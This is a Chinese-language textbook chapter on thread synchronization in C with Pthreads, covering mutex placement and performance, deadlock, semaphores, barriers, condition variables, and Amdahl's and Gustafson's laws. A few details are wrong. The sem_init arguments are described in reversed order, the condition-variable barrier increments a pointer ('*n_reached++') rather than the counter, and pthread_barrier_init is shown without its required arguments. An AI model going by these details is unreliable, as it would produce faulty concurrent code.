互斥锁的初始状态是解锁的,意味着它可以立即被任何线程使用。要进入临界区,线程必须首先获得锁。这是通过调用`pthread_mutex_lock`函数实现的。在一个线程获得锁后,其他线程无法进入临界区,直到持锁的线程释放锁。如果另一个线程调用`pthread_mutex_lock`而互斥锁已被锁定,该线程将*阻塞*(或等待),直到互斥锁变为可用。请记住,阻塞意味着线程在等待的条件(即互斥锁可用)变为真之前不会被调度使用 CPU(请参阅第 627 页的“进程状态”)。
当线程退出临界区时,它必须调用`pthread_mutex_unlock`函数释放互斥锁,使其可供其他线程使用。因此,最多只有一个线程可以获取锁并进入临界区,这防止了多个线程*竞态*读取和更新共享变量。
在声明并初始化互斥锁后,下一个问题是应该将锁定和解锁函数放置在哪里,以最好地执行临界区。以下是一个初步的尝试,旨在使用互斥锁增强`countElems`函数:^(5)
pthread_mutex_t mutex; //global declaration of mutex, initialized in main()
/*parallel version of step 1 of CountSort algorithm (attempt 1 with mutexes):
* extracts arguments from args value
* calculates component of the array that thread is responsible for counting
* computes the frequency of all the elements in assigned component and stores
* the associated counts of each element in counts array
*/
void *countElems( void *args ) {
//extract arguments
//ommitted for brevity
int *array = myargs->ap;
long *counts = myargs->countp;
//assign work to the thread
long chunk = length / nthreads; //nominal chunk size
long start = myid * chunk;
long end = (myid + 1) * chunk;
long val;
if (myid == nthreads - 1) {
end = length;
}
long i;
//heart of the program
pthread_mutex_lock(&mutex); //acquire the mutex lock
for (i = start; i < end; i++) {
val = array[i];
counts[val] = counts[val] + 1;
}
pthread_mutex_unlock(&mutex); //release the mutex lock
return NULL;
}
互斥锁的初始化和销毁函数被放置在`main`中,围绕线程创建和加入函数:
//code snippet from main():
pthread_mutex_init(&mutex, NULL); //initialize the mutex
for (t = 0; t < nthreads; t++) {
pthread_create( &thread_array[t], NULL, countElems, &thread_args[t] );
}
for (t = 0; t < nthreads; t++) {
pthread_join(thread_array[t], NULL);
}
pthread_mutex_destroy(&mutex); //destroy (free) the mutex
让我们重新编译并运行这个新程序,同时改变线程数:
$ ./countElems_p_v2 10000000 1 1
Counts array:
999170 1001044 999908 1000431 999998 1001479 999709 997250 1000804 1000207
$ ./countElems_p_v2 10000000 1 2
Counts array:
999170 1001044 999908 1000431 999998 1001479 999709 997250 1000804 1000207
$ ./countElems_p_v2 10000000 1 4
Counts array:
999170 1001044 999908 1000431 999998 1001479 999709 997250 1000804 1000207
太棒了,不管使用多少线程,输出终于是一致的!
记住,线程化的另一个主要目标是随着线程数的增加,减少程序的运行时间(即*加速*程序执行)。让我们基准测试一下`countElems`函数的性能。尽管可能会想使用类似`time -p`的命令行工具,然而请记住,调用`time -p`测量的是*整个*程序的挂钟时间(包括随机元素的生成),而*不是*仅仅是`countElems`函数的运行时间。在这种情况下,最好使用像`gettimeofday`这样的系统调用,它允许用户准确地测量某一代码段的挂钟时间。在 100 百万元素上基准测试`countElems`时,得到了以下的运行时间:
$ ./countElems_p_v2 100000000 0 1
Time for Step 1 is 0.368126 s
$ ./countElems_p_v2 100000000 0 2
Time for Step 1 is 0.438357 s
$ ./countElems_p_v2 100000000 0 4
Time for Step 1 is 0.519913 s
添加更多线程会导致程序变得*更慢*!这与使用线程让程序变得*更快*的目标相悖。
为了理解发生了什么,考虑一下在`countsElems`函数中锁的位置:
//code snippet from the countElems function from earlier
//the heart of the program
pthread_mutex_lock(&mutex); //acquire the mutex lock
for (i = start; i < end; i++){
val = array[i];
counts[val] = counts[val] + 1;
}
pthread_mutex_unlock(&mutex); //release the mutex lock
在这个例子中,我们将锁放置在`for`循环的*整个*范围内。尽管这种放置解决了正确性问题,但从性能角度来看,这是一个非常糟糕的决定——现在,临界区涵盖了整个循环体。以这种方式放置锁,保证了每次只有一个线程能执行循环,实际上将程序串行化了!
##### 互斥锁:重载版
让我们尝试另一种方法,将互斥锁的锁定和解锁函数放入循环的每次迭代中:
/*modified code snippet of countElems function:
*locks are now placed INSIDE the for loop!
*/
//the heart of the program
for (i = start; i < end; i++) {
val = array[i];
pthread_mutex_lock(&m); //acquire the mutex lock
counts[val] = counts[val] + 1;
pthread_mutex_unlock(&m); //release the mutex lock
}
乍一看,这可能看起来是一个更好的解决方案,因为每个线程可以并行进入循环,只有在遇到锁时才会串行化。临界区非常小,只包括那行代码`counts[val] = counts[val] + 1`。
让我们首先对这个版本的程序进行正确性检查:
$ ./countElems_p_v3 10000000 1 1
Counts array:
999170 1001044 999908 1000431 999998 1001479 999709 997250 1000804 1000207
$ ./countElems_p_v3 10000000 1 2
Counts array:
999170 1001044 999908 1000431 999998 1001479 999709 997250 1000804 1000207
$ ./countElems_p_v3 10000000 1 4
Counts array:
999170 1001044 999908 1000431 999998 1001479 999709 997250 1000804 1000207
到目前为止,程序也能根据使用的线程数产生一致的输出。
现在,让我们来看一下性能:
$ ./countElems_p_v3 100000000 0 1
Time for Step 1 is 1.92225 s
$ ./countElems_p_v3 100000000 0 2
Time for Step 1 is 10.9704 s
$ ./countElems_p_v3 100000000 0 4
Time for Step 1 is 9.13662 s
运行这个版本的代码(令人惊讶的是)结果是*明显更慢*的运行时间!
事实证明,锁定和解锁互斥锁是昂贵的操作。回想一下在函数调用优化讨论中讲到的内容(参见第 604 页的“函数内联”):在循环中反复(且不必要地)调用函数可能是程序变慢的主要原因之一。在我们之前使用互斥锁的情况中,每个线程只锁定和解锁互斥锁一次。而在当前的解决方案中,每个线程锁定和解锁互斥锁的次数是*n*/*t*,其中*n*是数组的大小,*t*是线程数,*n*/*t*是分配给每个线程的数组部分的大小。因此,额外的互斥锁操作的成本大大减缓了循环的执行速度。
##### 互斥锁:再探
除了保护临界区以确保行为正确外,理想的解决方案应该尽量减少使用锁定和解锁功能,并将临界区的大小缩小到最小。
原始实现满足了第一个要求,而第二个实现则尝试完成第二个要求。乍一看,似乎这两个要求是相互冲突的。是否有办法同时完成这两个目标(顺便说一下,加速我们程序的执行)?
对于下一个尝试,每个线程在其栈上维护一个私有的、*本地的*计数数组。因为该数组是每个线程的局部数组,线程可以在不加锁的情况下访问它——对于未在线程间共享的数据,不存在竞争条件。每个线程处理其分配的共享数组子集并填充其本地计数数组。在对其子集内的所有值进行计数后,每个线程:
1\. 锁定共享互斥锁(进入临界区)。
2\. 将本地计数数组中的值添加到共享计数数组中。
3\. 解锁共享互斥锁(退出临界区)。
限制每个线程仅更新一次共享计数数组,显著减少了对共享变量的争用,并最小化了昂贵的互斥锁操作。
以下是我们修改后的`countElems`函数:^(6)
/*parallel version of step 1 of CountSort algorithm (final attempt w/mutexes):
* extracts arguments from args value
* calculates component of the array that thread is responsible for counting
* computes the frequency of all the elements in assigned component and stores
* the associated counts of each element in counts array
*/
void *countElems( void *args ) {
//extract arguments
//ommitted for brevity
int *array = myargs->ap;
long *counts = myargs->countp;
//local declaration of counts array, initializes every element to zero.
long local_counts[MAX] = {0};
//assign work to the thread
long chunk = length / nthreads; //nominal chunk size
long start = myid * chunk;
long end = (myid + 1) * chunk;
long val;
if (myid == nthreads-1)
end = length;
long i;
//heart of the program
for (i = start; i < end; i++) {
val = array[i];
//updates local counts array
local_counts[val] = local_counts[val] + 1;
}
//update to global counts array
pthread_mutex_lock(&mutex); //acquire the mutex lock
for (i = 0; i < MAX; i++) {
counts[i] += local_counts[i];
}
pthread_mutex_unlock(&mutex); //release the mutex lock
return NULL;
}
这个版本有一些额外的功能:
+ `local_counts`的存在,这是一个属于每个线程作用域的私有数组(即在线程的栈上分配)。与`counts`类似,`local_counts`包含`MAX`个元素,因为`MAX`是输入数组中任何元素可能持有的最大值。
+ 每个线程根据自己的节奏更新`local_counts`,无需争用共享变量。
+ 单次调用`pthread_mutex_lock`保护每个线程对全局`counts`数组的更新,这只发生在每个线程执行的末尾一次。
通过这种方式,我们将每个线程在临界区内花费的时间减少到仅仅更新共享计数数组。尽管每次只有一个线程可以进入临界区,但每个线程在其中花费的时间与`MAX`成正比,而不是与*n*(全局数组的长度)成正比。由于`MAX`远小于*n*,我们应该会看到性能的提升。
现在让我们对这版本的代码进行基准测试:
$ ./countElems_p_v3 100000000 0 1
Time for Step 1 is 0.334574 s
$ ./countElems_p_v3 100000000 0 2
Time for Step 1 is 0.209347 s
$ ./countElems_p_v3 100000000 0 4
Time for Step 1 is 0.130745 s
哇,真是个天壤之别!我们的程序不仅计算出正确的答案,而且随着线程数的增加,执行速度也更快。
这里要记住的教训是:为了高效地最小化临界区,使用局部变量来收集中间值。在需要并行化的繁重工作完成后,使用互斥锁安全地更新任何共享变量。
##### 死锁
在一些程序中,等待的线程之间存在依赖关系。当多个同步构造(如互斥锁)被错误使用时,可能会出现死锁的情况。死锁线程被另一个线程阻塞,该线程*本身*也被一个被阻塞的线程阻塞。死锁的常见现实例子是交通拥堵(所有方向的车辆因其他车辆的阻塞而无法前进),这通常发生在繁忙的城市交叉口。
为了说明代码中的死锁场景,假设使用多线程来实现一个银行应用程序。每个用户的账户由余额和其对应的互斥锁定义(确保在更新余额时不会发生竞争条件):
struct account {
pthread_mutex_t lock;
int balance;
};
考虑以下一个简单的 `Transfer` 函数实现,该函数将钱从一个银行账户转移到另一个账户:
void *Transfer(void *args){
//argument passing removed to increase readability
//...
pthread_mutex_lock(&fromAcct->lock);
pthread_mutex_lock(&toAcct->lock);
fromAcct->balance -= amt;
toAcct->balance += amt;
pthread_mutex_unlock(&fromAcct->lock);
pthread_mutex_unlock(&toAcct->lock);
return NULL;
}
假设线程 0 和线程 1 正在并发执行,并分别代表用户 A 和 B。现在考虑 A 和 B 互相转账的情况:A 想要向 B 转账 20 美元,而 B 想要向 A 转账 40 美元。
在图 14-7 所标出的执行路径中,两个线程同时执行`Transfer`函数。线程 0 获取了 `acctA` 的锁,而线程 1 获取了 `acctB` 的锁。现在考虑发生了什么。为了继续执行,线程 0 需要获取 `acctB` 的锁,而该锁由线程 1 持有。同样,线程 1 需要获取 `acctA` 的锁才能继续执行,而该锁由线程 0 持有。由于两个线程相互阻塞,它们处于死锁状态。

*图 14-7:死锁的示例*
虽然操作系统提供了一些防止死锁的保护措施,但程序员在编写代码时应注意避免增加死锁的可能性。例如,前面的场景可以通过重新安排锁的顺序来避免,这样每一对锁/解锁操作只会围绕与其相关的余额更新语句:
void *Transfer(void *args){
//argument passing removed to increase readability
//...
pthread_mutex_lock(&fromAcct->lock);
fromAcct->balance -= amt;
pthread_mutex_unlock(&fromAcct->lock);
pthread_mutex_lock(&toAcct->lock);
toAcct->balance += amt;
pthread_mutex_unlock(&toAcct->lock);
return NULL;
}
死锁不仅仅是线程特有的情况。进程(尤其是相互通信的进程)也可能发生死锁。程序员应该注意他们使用的同步原语,以及错误使用这些原语的后果。
#### 14.3.2 信号量
信号量通常用于操作系统和并发程序中,其目的是管理对资源池的并发访问。在使用信号量时,目标不是*谁*拥有什么资源,而是*还有多少*资源可用。信号量与互斥锁在多个方面有所不同:
+ 信号量不必处于二进制(锁定或解锁)状态。一个特殊类型的信号量叫做*计数信号量*,它的值可以从 0 到某个*r*(其中*r*是可能的资源数量)。每当生产出一个资源时,信号量会递增。每当资源被使用时,信号量会递减。当计数信号量的值为 0 时,表示没有资源可用,任何尝试获取资源的线程都必须等待(例如,阻塞)。
+ 信号量默认可以被锁定。
虽然互斥锁和条件变量可以模拟信号量的功能,但在某些情况下,使用信号量可能会更简单、更高效。信号量的优势还在于,*任何*线程都可以解锁信号量(与互斥锁不同,互斥锁要求调用线程必须解锁它)。
信号量不是 Pthreads 库的一部分,但这并不意味着不能使用它们。在 Linux 和 macOS 系统上,信号量原语可以通过`semaphore.h`访问,通常位于`/usr/include`。由于没有标准,不同系统上的函数调用可能会有所不同。不过,信号量库的声明与互斥锁的声明类似:
+ 声明一个信号量(类型为`sem_t`,例如`sem_t semaphore`)。
+ 使用`sem_init`初始化信号量(通常在`main`中)。`sem_init`函数有三个参数:第一个是信号量的地址,第二个是其初始状态(锁定或解锁),第三个参数表示信号量是否应该在一个进程的线程间共享(例如,值为 0)或在不同进程间共享(例如,值为 1)。这很有用,因为信号量通常用于进程同步。例如,调用`sem_init(&semaphore, 1, 0)`表示我们的信号量最初是锁定的(第二个参数为 1),并且将在同一进程的线程之间共享(第三个参数为 0)。相比之下,互斥锁总是从解锁状态开始。需要注意的是,在 macOS 中,等效的函数是`sem_open`。
+ 使用`sem_destroy`销毁信号量(通常在`main`中)。该函数只接受一个指向信号量的指针(`sem_destroy(&semaphore)`)。请注意,在 macOS 中,等效的函数可能是`sem_unlink`或`sem_close`。
+ `sem_wait`函数表示资源正在被使用,并会递减信号量。如果信号量的值大于 0(表示仍有资源可用),该函数将立即返回,并允许线程继续执行。如果信号量的值已经为 0,线程将被阻塞,直到有资源可用(即信号量的值为正)。对`sem_wait`的调用通常像这样:`sem_wait(&semaphore)`。
+ `sem_post`函数表示一个资源被释放,并且会递增信号量。该函数会立即返回。如果有线程在等待该信号量(即信号量的值之前为 0),那么其他线程将获得释放的资源。`sem_post`函数的调用形式为`sem_post(&semaphore)`。
#### 14.3.3 其他同步构造
互斥锁和信号量并不是在多线程程序中使用的唯一同步构造。在这一小节中,我们将简要讨论屏障和条件变量同步构造,它们都是 Pthreads 库的一部分。
##### 屏障
*屏障*是一种同步结构,强制*所有*线程在执行中达到一个共同点,然后才释放这些线程继续并发执行。Pthreads 提供了屏障同步原语。使用 Pthreads 屏障时,需要执行以下步骤:
+ 声明一个屏障全局变量(例如,`pthread_barrier_t barrier`)
+ 在`main`中初始化屏障(`pthread_barrier_init(&barrier)`)
+ 在`main`中使用完屏障后销毁(`pthread_barrier_destroy(&barrier)`)
+ 使用`pthread_barrier_wait`函数创建一个同步点。
以下程序展示了在`threadEx`函数中使用屏障的示例:
void *threadEx(void *args){
//parse args
//...
long myid = myargs->id;
int nthreads = myargs->numthreads;
int *array = myargs->array
printf("Thread %ld starting thread work!\n", myid);
pthread_barrier_wait(&barrier); //forced synchronization point
printf("All threads have reached the barrier!\n");
for (i = start; i < end; i++) {
array[i] = array[i] * 2;
}
printf("Thread %ld done with work!\n", myid);
return NULL;
}
在这个例子中,*每个*线程都无法开始处理其分配的数组部分,直到*所有*线程都打印出它们开始工作的消息。如果没有屏障,可能会有一个线程在其他线程打印开始工作消息之前就已经完成工作!注意,即使如此,仍然可能有一个线程在另一个线程完成之前打印出它已经完成工作的消息。
##### 条件变量
条件变量强制线程在特定条件达到之前进行阻塞。这种结构对于在条件满足之前线程需要做某些工作的场景非常有用。如果没有条件变量,线程就需要反复检查条件是否满足,这样会持续占用 CPU。条件变量通常与互斥锁一起使用。在这种同步结构中,互斥锁强制互斥,而条件变量确保在线程获取互斥锁之前,特定的条件已被满足。
POSIX 条件变量的类型为`pthread_cond_t`。与互斥锁和屏障结构一样,条件变量在使用前必须初始化,并在使用后销毁。
要初始化条件变量,使用`pthread_cond_init`函数。要销毁条件变量,使用`pthread_cond_destroy`函数。
使用条件变量时常用的两个函数是`pthread_cond_wait`和`pthread_cond_signal`。这两个函数除了需要条件变量的地址外,还需要互斥锁的地址。
+ `pthread_cond_wait(&cond, &mutex)` 函数接受条件变量 `cond` 和互斥锁 `mutex` 的地址作为参数。它使调用线程在条件变量 `cond` 上阻塞,直到另一个线程发出信号(或“唤醒”它)。
+ `pthread_cond_signal(&cond)` 函数使调用线程解除阻塞(或向)另一个正在等待条件变量 `cond` 的线程发出信号(根据调度优先级)。如果当前没有线程在条件变量上阻塞,则该函数没有效果。与 `pthread_cond_wait` 不同,`pthread_cond_signal` 函数可以由任何线程调用,无论该线程是否拥有 `pthread_cond_wait` 所调用的互斥锁。
##### 条件变量示例
传统上,条件变量在某些线程集合需要等待另一些线程完成某个动作时最为有用。在以下示例中,我们使用多个线程来模拟一组农夫从一组鸡那里收集鸡蛋。“鸡”和“农夫”代表两种不同的线程类型。此程序的完整源代码可以下载;^(7) 注意,这个列表省略了许多注释和错误处理以简化。
`main` 函数创建了一个共享变量 `num_eggs`(表示任何时刻可用的鸡蛋总数),一个共享的 `mutex`(每当线程访问 `num_eggs` 时使用该互斥锁),以及一个共享的条件变量 `eggs`。然后它创建了两个鸡线程和两个农夫线程:
int main(int argc, char **argv){
//... declarations omitted for brevity
// these will be shared by all threads via pointer fields in t_args
int num_eggs; // number of eggs ready to collect
pthread_mutex_t mutex; // mutex associated with cond variable
pthread_cond_t eggs; // used to block/wake-up farmer waiting for eggs
//... args parsing removed for brevity
num_eggs = 0; // number of eggs ready to collect
ret = pthread_mutex_init(&mutex, NULL); //initialize the mutex
pthread_cond_init(&eggs, NULL); //initialize the condition variable
//... thread_array and thread_args creation/filling omitted for brevity
// create some chicken and farmer threads
for (i = 0; i < (2 * nthreads); i++) {
if ( (i % 2) == 0 ) {
ret = pthread_create(&thread_array[i], NULL,
chicken, &thread_args[i]);
}
else {
ret = pthread_create(&thread_array[i], NULL,
farmer, &thread_args[i] );
}
}
// wait for chicken and farmer threads to exit
for (i = 0; i < (2 * nthreads); i++) {
ret = pthread_join(thread_array[i], NULL);
}
// clean-up program state
pthread_mutex_destroy(&mutex); //destroy the mutex
pthread_cond_destroy(&eggs); //destroy the cond var
return 0;
}
每个鸡线程负责下一个数量的鸡蛋:
void *chicken(void *args ) {
struct t_arg *myargs = (struct t_arg *)args;
int *num_eggs, i, num;
num_eggs = myargs->num_eggs;
i = 0;
// lay some eggs
for (i = 0; i < myargs->total_eggs; i++) {
usleep(EGGTIME); //chicken sleeps
pthread_mutex_lock(myargs->mutex);
*num_eggs = *num_eggs + 1; // update number of eggs
num = *num_eggs;
pthread_cond_signal(myargs->eggs); // wake a sleeping farmer (squawk)
pthread_mutex_unlock(myargs->mutex);
printf("chicken %d created egg %d available %d\n",myargs->id,i,num);
}
return NULL;
}
为了下蛋,鸡线程会先睡一会,获得互斥锁,并将可用鸡蛋的总数增加一。在释放互斥锁之前,鸡线程会“唤醒”一个正在休眠的农夫(假设是通过叫声)。鸡线程重复这个周期,直到它下完所有预定的鸡蛋(`total_eggs`)。
每个农夫线程负责从一组鸡中收集 `total_eggs` 个鸡蛋(假设是为了早餐):
void *farmer(void *args ) {
struct t_arg * myargs = (struct t_arg *)args;
int *num_eggs, i, num;
num_eggs = myargs->num_eggs;
i = 0;
for (i = 0; i < myargs->total_eggs; i++) {
pthread_mutex_lock(myargs->mutex);
while (*num_eggs == 0 ) { // no eggs to collect
// wait for a chicken to lay an egg
pthread_cond_wait(myargs->eggs, myargs->mutex);
}
// we hold mutex lock here and num_eggs > 0
num = *num_eggs;
*num_eggs = *num_eggs - 1;
pthread_mutex_unlock(myargs->mutex);
printf("farmer %d gathered egg %d available %d\n",myargs->id,i,num);
}
return NULL;
}
每个农夫线程在检查共享的 `num_eggs` 变量之前,先获得互斥锁,以查看是否有可用的鸡蛋(`*num_eggs == 0`)。当没有鸡蛋可用时,农夫线程会阻塞(即小睡一会)。
当农夫线程因鸡线程的信号“醒来”后,它会检查是否仍有鸡蛋可用(另一个农夫线程可能先拿走了一个),如果有,农夫线程会“收集”一个鸡蛋(将 `num_eggs` 减少 1),然后释放互斥锁。
通过这种方式,鸡线程和农夫线程协作下蛋和收集鸡蛋。条件变量确保在鸡线程下蛋之前,农夫线程不能收集鸡蛋。
##### 广播
另一个与条件变量一起使用的函数是`pthread_cond_broadcast`,当多个线程被阻塞在特定条件下时,它非常有用。调用`pthread_cond_broadcast(&cond)`会唤醒*所有*在条件`cond`上被阻塞的线程。在下一个示例中,我们展示了如何通过条件变量实现前面讨论的屏障构造:
// mutex (initialized in main)
pthread_mutex_t mutex;
// condition variable signifying the barrier (initialized in main)
pthread_cond_t barrier;
void *threadEx_v2(void *args){
// parse args
// ...
long myid = myargs->id;
int nthreads = myargs->numthreads;
int *array = myargs->array
// counter denoting the number of threads that reached the barrier
int *n_reached = myargs->n_reached;
// start barrier code
pthread_mutex_lock(&mutex);
*n_reached++;
printf("Thread %ld starting work!\n", myid)
// if some threads have not reached the barrier
while (*n_reached < nthreads) {
pthread_cond_wait(&barrier, &mutex);
}
// all threads have reached the barrier
printf("all threads have reached the barrier!\n");
pthread_cond_broadcast(&barrier);
pthread_mutex_unlock(&mutex);
// end barrier code
// normal thread work
for (i = start; i < end; i++) {
array[i] = array[i] * 2;
}
printf("Thread %ld done with work!\n", myid);
return NULL;
}
函数`threadEx_v2`与`threadEx`具有相同的功能。在此示例中,条件变量名为`barrier`。每个线程在获取锁后,都会递增`n_reached`,即到达该点的线程数量。当到达屏障的线程数少于总线程数时,线程会在条件变量`barrier`和互斥锁`mutex`上等待。
然而,当最后一个线程到达屏障时,它会调用`pthread_cond_broadcast(&barrier)`,这会释放*所有*等待条件变量`barrier`的其他线程,允许它们继续执行。
这个示例对于说明`pthread_cond_broadcast`函数非常有用;然而,在程序中需要屏障时,最好使用 Pthreads 屏障原语。
学生们常问的一个问题是,`farmer`和`threadEx_v2`代码中对`pthread_cond_wait`调用的`while`循环是否可以被`if`语句替换。事实上,这个`while`循环是绝对必要的,主要有两个原因。首先,条件可能在唤醒线程到达继续执行之前发生变化。`while`循环强制最后一次检查条件。其次,`pthread_cond_wait`函数容易发生*虚假唤醒*,即线程即使条件未满足,也会被错误地唤醒。`while`循环实际上是一个*谓词循环*的例子,它在释放互斥锁之前强制对条件变量进行最终检查。因此,在使用条件变量时,使用谓词循环是正确的做法。
### 14.4 衡量并行程序的性能
到目前为止,我们已经使用`gettimeofday`函数来衡量程序执行所需的时间。在本节中,我们讨论如何衡量并行程序相对于串行程序的表现,以及与衡量并行程序性能相关的其他主题。
#### 14.4.1 并行性能基础
##### 加速比
假设一个程序在*c*个核心上执行需要 *T*[c] 时间。因此,程序的串行版本将在 *T*[1] 时间内完成。程序在 *c* 个核心上的加速比通过以下公式表示:

如果一个串行程序需要 60 秒执行,而其并行版本在 2 个核心上只需要 30 秒,那么对应的加速比为 2。同样,如果该程序在 4 个核心上只需 15 秒,那么加速比为 4。在理想情况下,运行在*n*个核心上的程序,使用*n*个总线程时,理想加速比为*n*。
如果一个程序的加速比大于 1,说明并行化带来了某些改进。如果加速比小于 1,则表示并行解决方案实际上比串行解决方案还要慢。一个程序的加速比可能大于 *n*(例如,额外的缓存减少了对内存的访问)。这种情况被称为*超线性加速*。
##### 效率
加速比不考虑核心的数量——它仅仅是串行时间与并行时间的比率。例如,如果一个串行程序需要 60 秒,但一个并行程序在四个核心上只需要 30 秒,那么它的加速比是 2。然而,这个指标并没有反映出它是在哪四个核心上运行的。
为了衡量每个核心的加速比,使用效率:

效率通常在 0 到 1 之间变化。效率为 1 表示核心被完美利用。如果效率接近 0,那么并行性几乎没有任何好处,因为额外的核心并没有提高性能。如果效率大于 1,则表示超线性加速。
让我们回顾之前的例子,一个串行程序需要 60 秒。如果并行版本在两个核心上运行需要 30 秒,那么它的效率是 1(或 100%)。如果程序在四个核心上运行需要 30 秒,那么效率降至 0.5(或 50%)。
##### 现实世界中的并行性能
在理想情况下,加速比是线性的。对于每个额外的计算单元,并行程序应该实现相应的加速。然而,在现实世界中,这种情况很少发生。大多数程序包含一个必须是串行的部分,因为代码中存在固有的依赖关系。程序中依赖关系最长的部分被称为它的*临界路径*。减少程序临界路径的长度是并行化的一个重要第一步。线程同步点以及(对于在多个计算节点上运行的程序)进程之间的通信开销是其他可能限制程序并行性能的代码组件。
**警告:并非所有程序都适合并行化!**
临界路径的长度可能使得某些程序完全*难以*并行化。以生成第*n*个斐波那契数为例。由于每个斐波那契数依赖于前两个数,因此高效地并行化这个程序是非常困难的!
考虑本章前面提到的 CountSort 算法中的 `countElems` 函数的并行化。在理想情况下,我们期望程序的加速比与核心数量成线性关系。然而,来看看它的运行时间(在这种情况下,运行在一个四核系统上,拥有八个逻辑线程):
$ ./countElems_p_v3 100000000 0 1
Time for Step 1 is 0.331831 s
$ ./countElems_p_v3 100000000 0 2
Time for Step 1 is 0.197245 s
$ ./countElems_p_v3 100000000 0 4
Time for Step 1 is 0.140642 s
$ ./countElems_p_v3 100000000 0 8
Time for Step 1 is 0.107649 s
表 14-3 显示了这些多线程执行的加速比和效率。
**表 14-3:** 性能基准
| 线程数 | 2 | 4 | 8 |
| --- | --- | --- | --- |
| 加速比 | 1.68 | 2.36 | 3.08 |
| 效率 | 0.84 | 0.59 | 0.39 |
我们在使用两个核心时有 84%的效率,但在使用八个核心时,核心效率降至 39%。注意,八个核心的理想加速比并未实现。造成这种情况的一个原因是,随着线程数增加,分配工作给线程以及对`counts`数组的串行更新的开销开始主导性能。其次,八个线程的资源竞争(记住这是一个四核处理器)降低了核心效率。
##### 阿姆达尔定律
1967 年,IBM 的著名计算机架构师吉恩·阿姆达尔(Gene Amdahl)预测,一个计算机程序能够实现的最大加速比是由其必然是串行部分的大小所限制的(现称为阿姆达尔定律)。更一般地,阿姆达尔定律指出,对于每个程序,都有一个可以加速的部分(即,可以优化或并行化的程序部分,*P*),还有一个*不能*加速的部分(即,程序中固有的串行部分,或*S*)。即使优化或并行化的部分*P*的执行时间减少到零,串行部分*S*仍然存在,最终将主导程序的性能。由于*S*和*P*是分数,注意*S* + *P* = 1。
考虑一个程序,它在一个核心上执行,所需时间为*T*[1]。那么,程序执行中必定是串行的部分需要*T*[1]的*S*时间,而可以并行化的部分(*P* = 1 *– S*)需要*T*[1]的*P*时间来执行。
当程序在*c*个核心上执行时,串行部分的代码仍然需要*S* × *T*[1]时间来运行(在其他条件相同的情况下),但可以并行化的部分可以被划分到*c*个核心中。因此,平行处理器在*c*个核心上执行相同任务的最大改进是:

随着*c*的增加,平行处理器的执行时间开始受到程序串行部分的主导。
为了理解阿姆达尔定律的影响,考虑一个程序,该程序可以并行化 90%,并且在 1 个核心上执行需要 10 秒。在我们的方程中,可并行化部分(*P*)为 0.9,而串行部分(*S*)为 0.1。表 14-4 显示了根据阿姆达尔定律,在*c*个核心上执行的总时间(*T*[*c*])以及相关的加速比。
**表 14-4:** 阿姆达尔定律对一个可以并行化 90%的 10 秒程序的影响
| **核心数量** | **串行时间(秒)** | **并行时间(秒)** | **总时间(*T*[*c*] 秒)** | **加速比(相对于单核)** |
| --- | --- | --- | --- | --- |
| 1 | 1 | 9 | 10 | 1 |
| 10 | 1 | 0.9 | 1.9 | 5.26 |
| 100 | 1 | 0.09 | 1.09 | 9.17 |
| 1000 | 1 | 0.009 | 1.009 | 9.91 |
观察到,随着时间的推移,程序的串行部分开始主导,而增加更多核心的效果似乎变得微乎其微。
以更正式的方式来看待这个问题,需要将阿姆达尔对于*T*[c]的计算纳入加速比方程中:

通过对这个方程取极限可以看出,当核心数(*c*)趋近于无穷大时,加速比趋近于 1/*S*。在表 14-4 中显示的例子中,加速比趋近于 1/0.1,或者 10。
作为另一个例子,考虑一个程序,其中*P* = 0.99。换句话说,99%的程序是可并行化的。随着*c*趋近于无穷大,串行时间开始主导性能(在这个例子中,*S* = 0.01)。因此,加速比趋近于 1/0.01,或者 100。换句话说,即使有一百万个核心,这个程序的最大加速比也只有 100。
一切并未失去:阿姆达尔定律的局限性
在学习阿姆达尔定律时,考虑其创始人基恩·阿姆达尔(Gene Amdahl)的*意图*非常重要。用他自己的话说,这一定律是为了展示“单处理器方法的持续有效性,以及多处理器方法在应用于实际问题及其伴随的不规则性时的弱点。”^(8) 在他 1967 年的论文中,阿姆达尔进一步阐述了这一概念,写道:“十多年来,许多预言家声称,单一计算机的组织已经达到了极限,只有通过以某种方式将多台计算机互联,才能实现真正重大的进步,从而允许合作解决问题。” 随后的研究挑战了阿姆达尔提出的一些关键假设。在接下来的子章节中,阅读关于古斯塔夫森–巴尔西斯定律的内容,讨论阿姆达尔定律的局限性,并提出一种不同的观点来思考并行性带来的好处。
#### 14.4.2 高级话题
##### 古斯塔夫森–巴尔西斯定律
1988 年,计算机科学家及桑迪亚国家实验室的研究员约翰·L·古斯塔夫森(John L. Gustafson)撰写了一篇名为《重新评估阿姆达尔定律》的论文。^(9) 在这篇论文中,古斯塔夫森揭示了一个关于并行程序执行的关键假设,这个假设并不总是成立。
具体来说,阿姆达尔定律假设计算核心的数量*c*与程序中可并行化部分*P*是彼此独立的。古斯塔夫森指出,这“几乎从来都不是这样”。虽然通过在固定数据集上变化核心数量来基准测试程序的性能是一个有用的学术练习,但在现实世界中,随着问题规模的增大,更多的核心(或处理器,正如我们在分布式内存讨论中所探讨的)被添加进来。古斯塔夫森写道:“最现实的假设是,假设运行时间,而非问题规模,是恒定的。”
因此,根据古斯塔夫森的观点,最准确的表述是:“并行处理的工作量与处理器数量呈线性关系。”
考虑一个*并行*程序,它在具有*c*核心的系统上运行时需要时间*T*[c]。设*S*表示程序执行中必须串行执行的部分,占用*S* × *T*[c]的时间。因此,程序中可并行化的部分,即*P* = 1 *– S*,在*c*核心上运行时需要*P* × *T*[c]的时间。
当同一个程序在单个核心上运行时,代码的串行部分仍然需要*S* × *T*[c](假设其他条件相同)。然而,原本分配给*c*个核心的并行部分,现在必须由单个核心执行串行操作,并且需要*P* × *T*[c] × *c*的时间。换句话说,在单核系统上,并行部分的执行时间将是*c*倍。因此,缩放加速比将是:

这表明,缩放加速随着计算单元数量的增加而线性增加。
考虑我们之前的例子,其中 99%的程序是可并行化的(即,*P* = 0.99)。应用缩放加速方程,使用 100 个处理器时的理论加速比为 99.01,使用 1,000 个处理器时为 990.01。请注意,效率保持在*P*不变。
正如 Gustafson 所总结的,“加速比应通过将问题规模扩展到处理器数量来衡量,而不是通过固定问题规模。”Gustafson 的结果值得注意,因为它表明通过更新处理器数量是可以实现加速的增加的。作为一名在国家超级计算设施工作的研究员,Gustafson 更关注在恒定时间内做*更多的工作*。在多个科学领域中,分析更多数据通常会提高结果的准确性或可信度。Gustafson 的工作表明,在大量处理器上获得大规模加速是可能的,并重新激发了人们对并行处理的兴趣。^(10)
##### 可扩展性
